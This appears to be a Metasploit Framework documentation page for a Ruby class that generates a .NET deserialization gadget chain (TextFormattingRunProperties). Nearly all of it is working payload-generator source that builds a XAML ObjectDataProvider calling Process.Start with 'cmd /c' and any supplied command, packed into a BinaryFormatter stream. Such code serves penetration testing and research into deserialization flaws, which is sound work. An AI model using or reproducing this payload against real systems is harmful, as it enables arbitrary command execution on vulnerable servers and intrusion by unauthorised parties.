Class: Msf::Util::DotNetDeserialization::GadgetChains::TextFormattingRunProperties

Inherits:
Types::SerializedStream
  • Object
show all
Defined in:
lib/msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties.rb

Class Method Summary collapse

Methods inherited from Types::SerializedStream

from_values, #get_object, #set_object

Class Method Details

.generate(cmd) ⇒ Object

TextFormattingRunProperties

Credits:
  Finders: Oleksandr Mirosh, Alvaro Munoz
  Contributors: Alvaro Munoz, Soroush Dalili

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# File 'lib/msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties.rb', line 13

def self.generate(cmd)
  # see: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs
  resource_dictionary = Nokogiri::XML(<<-EOS, nil, nil, options=Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
    <ResourceDictionary
      xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
      xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml"
      xmlns:S="clr-namespace:System;assembly=mscorlib"
      xmlns:D="clr-namespace:System.Diagnostics;assembly=system"
    >
      <ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
          <S:String>cmd</S:String>
          <S:String>/c #{cmd.encode(xml: :text)}</S:String>
        </ObjectDataProvider.MethodParameters>
      </ObjectDataProvider>
    </ResourceDictionary>
  EOS

  library = Types::RecordValues::BinaryLibrary.new(
    library_id: 2,
    library_name: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
  )

  self.from_values([
    Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
    library,
    Types::RecordValues::ClassWithMembersAndTypes.from_member_values(
      class_info: Types::General::ClassInfo.new(
        obj_id: 1,
        name: 'Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties',
        member_names: %w{ ForegroundBrush }
      ),
      member_type_info: Types::General::MemberTypeInfo.new(
        binary_type_enums: %i{ String }
      ),
      library_id: library.library_id,
      member_values: [
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(obj_id: 3, string: resource_dictionary))
      ]
    ),
    Types::RecordValues::MessageEnd.new
  ])
end